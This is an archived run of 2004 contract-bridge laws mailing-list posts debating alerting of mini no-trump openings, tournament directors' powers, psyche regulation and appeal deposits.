<00a901c47315$a539c2b0$ae81b6d4@LNV> Message-ID: In article <00a901c47315$a539c2b0$ae81b6d4@LNV>, Ton Kooijman writes > >> If the regulation does not make it obligatory to alert then it >> is not up to the TD to make a regulation. The TD should be ruling >> on the regulations as he finds them not adding or subtracting from >> them. IMO that is an abuse of the TDs power. > > > > >> >> I would assume if the regulations don't say to alert then this was >> the intention of the regulators. > >In practise things are not as black or white as you suggest. The regulations >for ebl and wbf events about alerting stil say something as is said in L40: >conventional bids or natural bids that might surprise the opponents. > >So we need interpretation. And isn't it the job of the TD to do so? >You had been right if things were as clear as they are in L40A about >psyching, as you told us in your other message, but nowhere in the >regulations it says that NT-bids whatever their range shouldn't be alerted. > >ton > >> >> Presumably this pair met its disclosure requirements by marking their >> convention card appropriately. I have no doubt they did, and they were expecting that they'd fool a few pairs by playing a mini. I salute them. They have worked out a method whereby their opponents are likely to be misled and when the TD told them to make sure it didn't happen they refused. I think that's cheating. cheers John >> >> Wayne >> >> > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From johnson@CCRS.NRCan.gc.ca Mon Jul 26 17:52:15 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Mon, 26 Jul 2004 12:52:15 -0400 (EDT) Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: from "David Stevenson" at Jul 25, 2004 02:18:45 AM Message-ID: <200407261652.i6QGqFoi025304@athena.ccrs.nrcan.gc.ca> David Stevenson writes: > > Ed Reppert wrote > > > >On Saturday, Jul 24, 2004, at 08:07 US/Eastern, David Stevenson wrote: > > > >> You are far too definite: suppose the player did not 'claim he had > >>no agreement' but just said he did not remember such an event? Do you > >>never forget anything from six months ago? > > > >Oh, certainly - but not to the extent that I continue to disremember > >when reminded of it - at least, not so far. > > All I can say is I am amazed. I would say that all of my life I have > found things that others remembered from 2+ weeks back that I had no > memory of. Eddie Kantar has written literally hundreds of stories with this as the theme. From wayne.burrows@xtra.co.nz Mon Jul 26 21:23:52 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 08:23:52 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <00a901c47315$a539c2b0$ae81b6d4@LNV> Message-ID: <000401c4734e$781bfd00$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Tuesday, 27 July 2004 1:37 a.m. > To: Wayne Burrows; blml@rtflb.org; 'David Stevenson' > Subject: Re: [blml] Deceiving and destroying > > > > > If the regulation does not make it obligatory to alert then it > > is not up to the TD to make a regulation. The TD should be ruling > > on the regulations as he finds them not adding or subtracting from > > them. IMO that is an abuse of the TDs power. > > > > > I would assume if the regulations don't say to alert then this was > > the intention of the regulators. > > In practise things are not as black or white as you suggest. > The regulations > for ebl and wbf events about alerting stil say something as > is said in L40: > conventional bids or natural bids that might surprise the opponents. > > So we need interpretation. And isn't it the job of the TD to do so? > You had been right if things were as clear as they are in L40A about > psyching, as you told us in your other message, but nowhere in the > regulations it says that NT-bids whatever their range > shouldn't be alerted. > It is general knowledge that there is a variety of ranges for 1NT. I don't think that any range would be surprising. It is also general knowledge that a pair will disclose this information on their convention card. If the opponents are not sensible enough to check this information when there is no regulation to alert then I do not think they need extra protection from the TD. Which of these ranges would you consider surprising: 8-10 8-15 - I saw this in the recent European Championships 9-12 10-12 11-14 12-14 13-15 14-16 14-17 15-17 16-18 17-20 Personally I would not be surprised by any range - except perhaps the super-wide range 8-15. As a player I would think that I had not done my job if I did not determine the opponents range especially when I know that no alert is required. Personally I like a regulation where this information is disclosed actively in advance. It is so pleasant to sit down at a table in Australia and have the opponents tell you about their methods before you pull a single card. In this environment nothing is unexpected. Wayne From richard.hills@immi.gov.au Mon Jul 26 23:12:01 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 08:12:01 +1000 Subject: [blml] Deceiving and destroying Message-ID: Wayne Burrows: >It is general knowledge that there is a >variety of ranges for 1NT. [snip] >Which of these ranges would you consider >surprising: [big snip] Richard Hills: Error in analysis. It is *Wayne's* general knowledge that there is a variety of ranges for 1NT. And for *Wayne* a 10-12 1NT is not surprising. I have played in country congresses at which *all* the locals uniformly play 15-18 1NT openings. Therefore, for those events, I have specifically announced my *surprising* 11-14 1NT in my standard pre-alert statement. (Of course, I pre-alert the more exotic parts of my Symmetric Relay system to each and every audience.) In my opinion, Law 81C5, "to administer and interpret these Laws and to advise the players of their rights and responsibilities thereunder," gave Ton a clear authority to order the mini-NT pair to alert their *surprising* 1NT range. Best wishes RJH From twm@cix.co.uk Mon Jul 26 23:43:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 26 Jul 2004 23:43 +0100 (BST) Subject: [blml] Deceiving and destroying In-Reply-To: <00a901c47315$a539c2b0$ae81b6d4@LNV> Message-ID: Ton wrote: > > I would assume if the regulations don't say to alert then this was > > the intention of the regulators. > > In practise things are not as black or white as you suggest. The > regulations for ebl and wbf events about alerting stil say something as > is said in L40: conventional bids or natural bids that might surprise > the opponents. What the heck is ambiguous about the following statement from the official EBL alerting policy on their website? If screens are not in use, do NOT alert the following: 2. Any no-trump bid which suggests a balanced or semi-balanced hand, or suggests a no-trump contract. A mini-NT is NOT alertable. Any TD who ruled otherwise in an EBL event should be sent home in disgrace! This is surely not a matter for "interpretation", nor should we support the idea that individual TDs are entitled to overrule the published CoC. While I agree with Ton that his "instruction" creates an obligation to alert I think this is grossly unfair on the pair concerned and the situation should have lasted no longer than it took the TD to check the EBL regs - nb I assume that EBL regs are implicit (at least) in EBL competition. Tim From richard.hills@immi.gov.au Mon Jul 26 23:41:30 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 08:41:30 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Herman De Wael: >>What can some hope depend on? nothing >>else but parts of conversations, >>shared experience, systems with others, >>habits in your area, and the like. All >>these need to be disclosed, and the >>best way to do so is simply to disclose >>what you think. J.R.R. Tolkien: >Then at last Pippin took Gandalf's hand. >"Tell me," he said, "is there any hope? >For Frodo, I mean; or at least mostly >for Frodo." >Gandalf put his hand on Pippin's head. >"There never was much hope," he >answered. "Just a fool's hope....." Richard Hills: A fundamental flaw in the De Wael School, is that it makes the facile assumption that all hope has some rational basis. Both Ed Reppert and myself (and, I think, many other blmlers) have sometimes called with a fool's hope - neither an explicit nor an implicit agreement - that our totally undiscussed call would be guessed right by pard. Of course, in most cases, our totally undiscussed call has been guessed wrong by pard, leading to a debacle. But, on those rare occasions when pard has guessed right, pard's correct guess did not ex post facto "prove" that we had a pre-existing mutual partnership agreement. A fool's hope by one partner is *not* a mutual agreement of both partners. Best wishes RJH From richard.hills@immi.gov.au Mon Jul 26 23:52:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 08:52:34 +1000 Subject: [blml] AC performance (was Reno ... four) Message-ID: David Stevenson: [big snip] >The chance of an AC over-ruling a TD because of >a different Law is infinitesimal. [big snip] Richard Hills: This is not quite the argument put forward by myself (and Adam Wildavsky). Rather, we argue that if the relevant Law is not quoted by an AC, then the AC is more likely to perpetrate an unLawful ruling. Consequently, if the TD is not as careful in monitoring AC decisions as Probst or Kelso, the unLawful decision of the AC will not get a timely reversal. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 27 00:03:25 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 09:03:25 +1000 Subject: [blml] AC performance (was Reno ... four) Message-ID: David Stevenson asserted: >Capital punishment is a deterrent. What >many people disagree on is how much of a >deterrent, whether it is worth it, whether >it is moral, and so on, but it is easy to >demonstrate that it is a deterrent. [snip] Richard Hills: Not so. It is the *enforcement* of capital punishment which is the deterrent. Because capital punishment was imposed for trivial offences in the eighteenth century, juries refused to convict, so it ceased to be a deterrent. Likewise, monetary deposits for appeals are only a deterrent if they are enforced. One reason Australia abolished monetary deposits for appeals (replacing them with VP deposits instead), is that the one person that a monetary deposit might deter - an impoverished but know-it-all uni student - was too cocksure to realise that their appeal had no merit. All Aussie appeals committees were reluctant to confiscate the money that the uni student would use for their week's meals. Best wishes RJH From gesta@tiscali.co.uk Tue Jul 27 00:24:03 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 27 Jul 2004 00:24:03 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> Message-ID: <001101c47367$cfe84cf0$0dca403e@multivisionoem> Grattan Endicott To: ; Sent: Monday, July 26, 2004 12:53 PM Subject: RE: [blml] Deceiving and destroying > > > > -----Original Message----- > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > > Behalf Of gesta@tiscali.co.uk > > Sent: Monday, 26 July 2004 6:27 p.m. > > To: blml@rtflb.org > > Subject: Re: [blml] Deceiving and destroying > > > > > > > > Grattan Endicott > [also grandeval@vejez.fsnet.co.uk] > > +++++++++++++++++++++++++++++. > > "The lawyers may revere that tree > > Where thieves so oft have swung, > > Since, by the Law's most wise decree, > > HER thieves are never hung." > > Robert Fergusson > > #=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# > > ----- Original Message ----- > > From: > > To: > > Sent: Monday, July 26, 2004 12:46 AM > > Subject: Re: [blml] Deceiving and destroying > > > If it were incontrovertible then the regulations would not be > disallowing what is specifically allowed by L40A. > > Wayne > +=+ Law 40A is the general statement. Law 40D the specific that makes the exception. +=+ From richard.hills@immi.gov.au Tue Jul 27 00:37:22 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 09:37:22 +1000 Subject: [blml] Deceiving and destroying Message-ID: William Schoder: >And is there anyone out there who thinks that this >is "proper?" What a bunch of tripe! The only ones >that I can think of who feel it is destructive to >bridge are those whose income depends upon the >opponents bellying up and never putting them to >the test. But then, they are a growing source of >advice as to what the Laws of Bridge should be. > >Kojak Richard Hills: Agreed. Let us examine three case studies. 1. Problem - a Highly Unusual Method (HUM) (a) Best practice solution - Full prior disclosure, full contemporaneous disclosure, effective and efficient written countermeasures permitted at the table for the HUMmingbirds' opponents. (b) ACBL solution - Ban all HUMs. 2. Problem - CPU pseudo-psyches (a) Best practice solution - Record psyches, take Law 40B action against pairs when frequency of a particular kind of psyche metamorphoses them into CPU pseudo-psyches. (b) WBF solution - Ban all artificial psyches. 3. Problem - Misbids & CPU pseudo-misbids (a) Best practice solution - Ensure that real misbidders are not punished for the sins of CPU pseudo-misbidding liars. (b) ACBL solution - Adopt the Monty Wolff solution of penalising the non-existent infraction of convention disruption. (c) EBU solution - Adopt the De Wael School of ruling that almost all truthful misbidders are deemed to be (for the purposes of the Law 75 footnote) pseudo-misbidding liars. (d) WBF solution - Grattan Endicott moots a Law change for WBF events, on the grounds that it is "unethical" to be poorly prepared for a world championship event. Best wishes RJH From wayne.burrows@xtra.co.nz Tue Jul 27 00:58:34 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 11:58:34 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <000201c4736c$77998af0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Tuesday, 27 July 2004 10:12 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > > > > Wayne Burrows: > > >It is general knowledge that there is a > >variety of ranges for 1NT. > > [snip] > > >Which of these ranges would you consider > >surprising: > > [big snip] > > Richard Hills: > > Error in analysis. It is *Wayne's* general > knowledge that there is a variety of ranges > for 1NT. And for *Wayne* a 10-12 1NT is not > surprising. > > I have played in country congresses at which > *all* the locals uniformly play 15-18 1NT > openings. Therefore, for those events, I > have specifically announced my *surprising* > 11-14 1NT in my standard pre-alert statement. I concede that the ABF have good regulations here and I like playing under those regulations of prior disclosure. Nevertheless when the regulations are not so good then it is not the TDs job to make pseudo- regulations as he sees fit. It is his job to rule and run the game according to the regulations that the regulators have put in place for the event. > > (Of course, I pre-alert the more exotic parts > of my Symmetric Relay system to each and > every audience.) > > In my opinion, Law 81C5, "to administer and > interpret these Laws and to advise the > players of their rights and responsibilities > thereunder," gave Ton a clear authority to > order the mini-NT pair to alert their > *surprising* 1NT range. Certainly not if the rule was as clear cut as in Tim West-Meads post: "If screens are not in use, do NOT alert the following: 2. Any no-trump bid which suggests a balanced or semi-balanced hand, or suggests a no-trump contract. " Wayne From siegmund@mosquitonet.com Tue Jul 27 00:37:05 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 26 Jul 2004 15:37:05 -0800 (AKDT) Subject: [blml] The WBF Logo Message-ID: Apologies for the non-Laws content... but not sure how else to reach those who would know. Some years ago we heard about the new WBF cards with the symmetrical suit symbols. (Some of us have still only heard about them - I seriously doubt they will become standard for a very long time to come, if ever, and I've never gotten hold of a real live deck of cards with them.) I finally got to see them for the first time during this year's Worldwide Bridge Contest in June - not on the cards, but on the WBF logo on the analysis booklet! (And with all due respect to whomever designed those new symbols... the heart and spade are hideously ugly - not that it's easy to do better given the symmetry requirement.) I notice that the traditional logo remains on all the WBF web pages. Has the WBF logo actually been changed? Was it changed and then changed back? Or was a trial design never actually adopted but on the Worldwide Bridge Contest booklets to see how well received it would be? GRB From richard.hills@immi.gov.au Tue Jul 27 01:12:18 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 10:12:18 +1000 Subject: [blml] Deceiving and destroying Message-ID: Wayne Burrows: >Average players need and will accept good >results from the opponents methods that >have no merit as much as the rest of us. Richard Hills: The issue is not whether methods have no merit. The initial Burgess-Marston Forcing Pass system had demerits outweighing its merits. The question, rather, is that of Law 75A full disclosure. Burgess-Marston followed a strategy of limiting disclosure of their methods to the maximum extent possible. As a result, they gained a lot of unearned imps (due to surprise, rather than merit) in Aussie events during the early 1980s. But, when they tried it on at the Seattle Olympiad in 1984, Chief Director Harold Franklin PPed their minimal disclosure style. Best wishes RJH From grandeval@vejez.fsnet.co.uk Tue Jul 27 01:20:07 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Tue, 27 Jul 2004 01:20:07 +0100 Subject: [blml] Deceiving and destroying References: Message-ID: <003501c4736f$925cdce0$6aad87d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Professional men, they have no cares, Whatever happens, they get theirs." [Ogden Nash] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: To: Cc: Sent: Tuesday, July 27, 2004 12:37 AM Subject: Re: [blml] Deceiving and destroying > > (d) WBF solution - Grattan Endicott moots > a Law change for WBF events, on the grounds > that it is "unethical" to be poorly prepared for > a world championship event. > +=+ I have heard such discussions around, it is true. And as co-ordinator I have toyed with precautionary drafts - but not on grounds that it is 'unethical'. More a question of courtesy to opponents or duty to the tournament or standards required of players, something like that. ~ Grattan ~ +=+ From schoderb@msn.com Tue Jul 27 01:29:55 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 26 Jul 2004 20:29:55 -0400 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> Message-ID: Exception to WHAT? 40A? Come on now, 40A talks about rights of calling and playing. 40D Talks about Regulation of Conventions. It takes more than a twist of logic for me to make D an Exception to A. D was added some time ago to pacify the high level players (even if they weren't so high level but thought themselves to be so) when they got bad results from not paying attention to the game. D was a boldfaced attempt to make the game of bridge something it had not been up until then. It gave the sponsoring organization the right to remove the uncertainty principle upon which all of bridge had been predicated in the past, and relieved the "expert" of being wrong. It is interesting -- to me -- that the impulse to move in this direction has come almost exclusively from the political side of the house, and from those "experts" who got bad results during my 40 years as as TD. Kojak snip > +=+ Law 40A is the general statement. Law 40D the > specific that makes the exception. +=+ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Tue Jul 27 01:30:03 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 26 Jul 2004 20:30:03 -0400 Subject: [blml] AC performance (was Reno ... four) References: Message-ID: I can't help but fault the Aussie system if it was not incumbent upon the TD to advise the young student of the frivolity of an appeal. There is no more effective, or faster, way to learn than to get a hit in the pocketbook where it hurts. When an appellant goes to the AC, it should be with the complete knowledge and understanding of what can happen. If not, then the TD is at fault, and the maturation process has been aborted, further creating the "bridge lawyers" who, God forbid, get an AC than isn't much wiser than they are when they are "sympathetic." What a bunch of garbage it is to say that we shouldn't have it cost them where it hurts, because it might hurt. All it does is perpetuate the "maybe we'll get something from the AC." Kojak snip > One reason Australia abolished monetary > deposits for appeals (replacing them with VP > deposits instead), is that the one person > that a monetary deposit might deter - an > impoverished but know-it-all uni student - > was too cocksure to realise that their > appeal had no merit. All Aussie appeals > committees were reluctant to confiscate the > money that the uni student would use for > their week's meals. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Tue Jul 27 01:30:09 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 26 Jul 2004 20:30:09 -0400 Subject: [blml] Deceiving and destroying References: Message-ID: As any TD worth his salt would do at the World level, and I would hope also at the National level. Requiring full disclosure is a helluva lot different than changing the basic nature of the game. Kojak ----- Original Message ----- From: To: Sent: Monday, July 26, 2004 8:12 PM Subject: Re: [blml] Deceiving and destroying > > > > > Wayne Burrows: > > >Average players need and will accept good > >results from the opponents methods that > >have no merit as much as the rest of us. > > Richard Hills: > > The issue is not whether methods have no > merit. The initial Burgess-Marston Forcing > Pass system had demerits outweighing its > merits. > > The question, rather, is that of Law 75A > full disclosure. Burgess-Marston followed a > strategy of limiting disclosure of their > methods to the maximum extent possible. > > As a result, they gained a lot of unearned > imps (due to surprise, rather than merit) in > Aussie events during the early 1980s. > > But, when they tried it on at the Seattle > Olympiad in 1984, Chief Director Harold > Franklin PPed their minimal disclosure > style. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Tue Jul 27 01:29:54 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 10:29:54 +1000 Subject: [blml] Deceiving and destroying Message-ID: David Stevenson: [snip] >Of course, we have no pre-alerting here. But if we did >would you really listen to this pair as they explained >***every single thing they played of this sort***? Richard Hills: I think that a better statement about EBU alert regs would be, "*Not yet*, we have no pre-alerting here." On the EBU website is an announcement that the EBU is about to revise the Orange Book (which incorporates the EBU alert regs). An earlier announcement on the EBU website specifically asked for submissions on improved EBU alert regs. Also, I disagree with David's second point. A letter to the ABF Newsletter objected to the new emphasis the ABF has placed on pre-alerting on the same grounds. The author argued that he played such a complicated system that it was impossible to pre-alert all of it. But, if we carry the argument to its logical conclusion, all explanations should be banned, as all partnerships have subtle negative inferences in their agreements which would take too long to explain. Rather, pre-alerting merely needs a good faith warning of *key* and *probable* unusual agreements. The fact that I unusually (for Australia) play a *rare* 4NT opening bid as Acol Blackwood is something that I have never pre-alerted. :-) Best wishes RJH From richard.hills@immi.gov.au Tue Jul 27 01:48:40 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 10:48:40 +1000 Subject: [blml] The WBF Logo Message-ID: Gordon Bower -> [snip] >>Some years ago we heard about the new WBF cards >>with the symmetrical suit symbols. (Some of us >>have still only heard about them - I seriously >>doubt they will become standard for a very long >>time to come, if ever, and I've never gotten >>hold of a real live deck of cards with them.) [snip] Deuteronomy 25:4 -> >Thou shalt not muzzle the ox when he treadeth >out the grain. Richard Hills -> Since symmetrical playing cards are a speciality item, I believe that very few manufacturers produce them. My understanding is that World Bridge President Jose Damiani (or a member of his family) gains a financial benefit from the sale of symmetrical playing cards from a (or perhaps the sole) speciality manufacturer. My further understanding is that the ABF does *not* intend to introduce symmetrical playing cards for local events. Best wishes RJH From grabiner@alumni.princeton.edu Tue Jul 27 02:02:27 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Mon, 26 Jul 2004 21:02:27 -0400 Subject: [blml] AC performance (was Reno ... four) In-Reply-To: References: Message-ID: <6.1.2.0.0.20040726205032.01e31918@mail.comcast.net> At 08:30 PM 7/26/2004, WILLIAM SCHODER wrote: >I can't help but fault the Aussie system if it was not incumbent upon the TD >to advise the young student of the frivolity of an appeal. There is no more >effective, or faster, way to learn than to get a hit in the pocketbook where >it hurts. When an appellant goes to the AC, it should be with the complete >knowledge and understanding of what can happen. If not, then the TD is at >fault, and the maturation process has been aborted, further creating the >"bridge lawyers" who, God forbid, get an AC than isn't much wiser than they >are when they are "sympathetic." What a bunch of garbage it is to say that >we shouldn't have it cost them where it hurts, because it might hurt. All it >does is perpetuate the "maybe we'll get something from the AC." There are two problems. We have all seen in casebooks appeals which were ruled without merit but which some commentators believed had merit, or even believe should have been ruled differently. A student is not going to risk $50 for an appeal, even one which he could win, if it might be ruled without merit. And many players new to appealing believe, correctly or not, that the AC will rule in favor of the experts they are playing against, particularly after the TD already did. Conversely, the $50 has no deterrent effect on the millionaires who are also playing bridge, particularly on clients playing with pros. If you want to deter an appeal by Bill Gates, you'll have to require a million-dollar deposit. What should the penalty be for a frivolous appeal? VP in the same event are not a deterrent if you have already lost. The ACBL's system of possible Conduct and Ethics hearings is a reasonable idea if it is actually enforced. And this would deal with the problem of incorrect warnings; if a player is brought before a C&E committee based on three appeals without merit, and the casebook commentators on two of those three show a majority opinion that the appeals had merit, there should be no penalty imposed From richard.hills@immi.gov.au Tue Jul 27 02:35:04 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 11:35:04 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Herman De Wael: [big snip] >I explain more than you, [big snip] Richard Hills: True. But "explaining" a non-agreement guess as an actual partnership agreement (as informally advised by Herman) is, in my opinion, more a terminological inexactitude than a truthful explanation. Of course, the De Wael School's terminological inexactitudes have the useful advantage of an "explanation" more frequently correlating with partner's cards, than a truthful "undiscussed" explanation correlates with partner's cards. Herman has consistently argued that the relevant truth-value is correlation to partner's cards. Indeed, it is possible that most opponents would prefer a descriptive correlation to a usually less useful truthful answer of "undiscussed". But the footnote to Law 75 emphasises that an explanation of an *agreement*, rather than an "explanation" which correlates with partner's cards, is what Law requires. Best wishes RJH From wayne.burrows@xtra.co.nz Tue Jul 27 02:40:36 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 13:40:36 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <001101c47367$cfe84cf0$0dca403e@multivisionoem> Message-ID: <000001c4737a$baaeaab0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of gesta@tiscali.co.uk > Sent: Tuesday, 27 July 2004 11:24 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > +++++++++++++++++++++++++++++. > "The lawyers may revere that tree > Where thieves so oft have swung, > Since, by the Law's most wise decree, > HER thieves are never hung." > Robert Fergusson > #=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# > ----- Original Message ----- > From: "Wayne Burrows" > To: ; > Sent: Monday, July 26, 2004 12:53 PM > Subject: RE: [blml] Deceiving and destroying > > > > > > > > > -----Original Message----- > > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > > > Behalf Of gesta@tiscali.co.uk > > > Sent: Monday, 26 July 2004 6:27 p.m. > > > To: blml@rtflb.org > > > Subject: Re: [blml] Deceiving and destroying > > > > > > > > > > > > Grattan Endicott > > [also grandeval@vejez.fsnet.co.uk] > > > +++++++++++++++++++++++++++++. > > > "The lawyers may revere that tree > > > Where thieves so oft have swung, > > > Since, by the Law's most wise decree, > > > HER thieves are never hung." > > > Robert Fergusson > > > #=#=#=#=#=#=#=#=#=#=#=#=#=#=#=# > > > ----- Original Message ----- > > > From: > > > To: > > > Sent: Monday, July 26, 2004 12:46 AM > > > Subject: Re: [blml] Deceiving and destroying > > > > > If it were incontrovertible then the regulations would not be > > disallowing what is specifically allowed by L40A. > > > > Wayne > > > +=+ Law 40A is the general statement. Law 40D the > specific that makes the exception. +=+ I do not think this is incontrovertible. It seems perfectly reasonable to me that the regulations should comply with the law. I will give the absurd example of the type that I have given before: "If you play Stayman then you are allowed to revoke" this would be a legal regulation under L40D which overrules the laws in another point of law. In my mind it is equally absurd to allow a regulation under L40D that overrules what is written in L40A. Wayne From richard.hills@immi.gov.au Tue Jul 27 02:53:40 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 11:53:40 +1000 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: [snip] >>In my opinion, Law 81C5, "to administer and >>interpret these Laws and to advise the >>players of their rights and responsibilities >>thereunder," gave Ton a clear authority to >>order the mini-NT pair to alert their >>*surprising* 1NT range. Wayne Burrows: >Certainly not if the rule was as clear cut as in >Tim West-Meads post: > >"If screens are not in use, do NOT alert the >following: >2. Any no-trump bid which suggests a balanced or >semi-balanced hand, or suggests a no-trump >contract. " > >Wayne Richard Hills: I took the trouble of visiting the EBL website myself. In my opinion, Tim West-Meads bolstered his case by selectively quoting the EBU alert regulation. Following the bit about balanced 1NT openings being notionally non-alertable is an important caveat: >>>Nevertheless, players must respect the spirit >>>of the Policy as well as the letter. Furthermore, the specific caveat is generally explained elsewhere in the EBU alert regulation: >>>Full disclosure is vital. However, players who >>>participate in WBF events are expected to >>>protect themselves to a large extent. They are >>>also expected to observe the spirit of the Laws >>>as well as the letter. And: >>>The Policy has been made as simple as possible. >>>Players are, however, expected to alert >>>whenever there is doubt. And: >>>A player may not make a call or play based on a >>>special partnership understanding unless an >>>opposing pair may reasonably be expected to >>>understand its meaning, Therefore, my opinion remains unaltered. Given the unquoted-by-Tim caveat, I still believe that Ton had a clear authority to order the mini-NT pair to alert their *surprising* 1NT range. Best wishes RJH From wayne.burrows@xtra.co.nz Tue Jul 27 03:15:29 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 14:15:29 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <000301c4737f$97522380$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Tuesday, 27 July 2004 1:54 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > > > > >>>A player may not make a call or play based on a > >>>special partnership understanding unless an > >>>opposing pair may reasonably be expected to > >>>understand its meaning, > > Therefore, my opinion remains unaltered. Given > the unquoted-by-Tim caveat, I still believe that > Ton had a clear authority to order the mini-NT > pair to alert their *surprising* 1NT range. > This is flawed IMO. What if 15-17 is *surprising* to me. This is my first time playing in the Somewhere Bridge Federation. Will I get an alert? If not 15-17 then at what point does a NT range become surprising? Wayne From richard.hills@immi.gov.au Tue Jul 27 05:35:45 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 14:35:45 +1000 Subject: [blml] Deceiving and destroying Message-ID: Wayne Burrows: >This is flawed IMO. What if 15-17 is *surprising* >to me. This is my first time playing in the >Somewhere Bridge Federation. Will I get an alert? > >If not 15-17 then at what point does a NT range >become surprising? Richard Hills: In my opinion, the appropriate answer to Wayne's question is, "Ni!" As a Knight who says "Ni!", I argue that Wayne is seeking an *objective* answer to a question about a *subjective* Regulation. As a reward for Wayne asking such a self-defeating question, I will allow Wayne to cut down the mightiest tree in the forest with a herring. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 27 06:02:08 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 15:02:08 +1000 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills:: >>>It is an easy solution to illegally prohibit psyches. Grattan Endicott: >>+=+ The word 'illegally' reflects an opinion you share >>with Ton Kooijman. However, repeatedly over the >>years the responsible authorities have confirmed the >>legality of this exercise of the powers given in Law 40D >>and its precedents. >> I respect your opinion but disagree with it. In my view >>the meaning of the law is incontrovertibly as the authorities >>have interpreted it. ~ Grattan ~ +=+ The Seventh Commandment: >Do not a psychic call commit, >Advantage rarely comes of it. Richard Hills: No doubt the 2006 version of the Laws will contain a specific and explicit clause permitting a sponsoring organisation to prohibit as many psyches as it pleases (from 0% to 100%). I can live with that. If I had never psyched in my entire bridge career, I would have been far more successful in bridge competitions. (But I would have had far less fun.) What I strongly object to, is that the same people who wish to outlaw psyches, also seem to have a creeping agenda to outlaw misbids. Bridge is naturally a game of imperfect information. In my opinion, one should not convert bridge to a game of chess-like perfect information. There is a reason that bridge is more popular than chess. In chess, a World Champion always beats a patzer. But in bridge, a patzer's stupid misbid can luckily cause a World Champion to be egg-faced. Why should lucky misbids be Lawfully penalised by a Law change? Why do some TDs and some ACs unLawfully penalise misbids now? Why do some authorities want to drive bunnies away from the game unnecessarily? Best wishes RJH From richard.hills@immi.gov.au Tue Jul 27 06:17:33 2004 From: 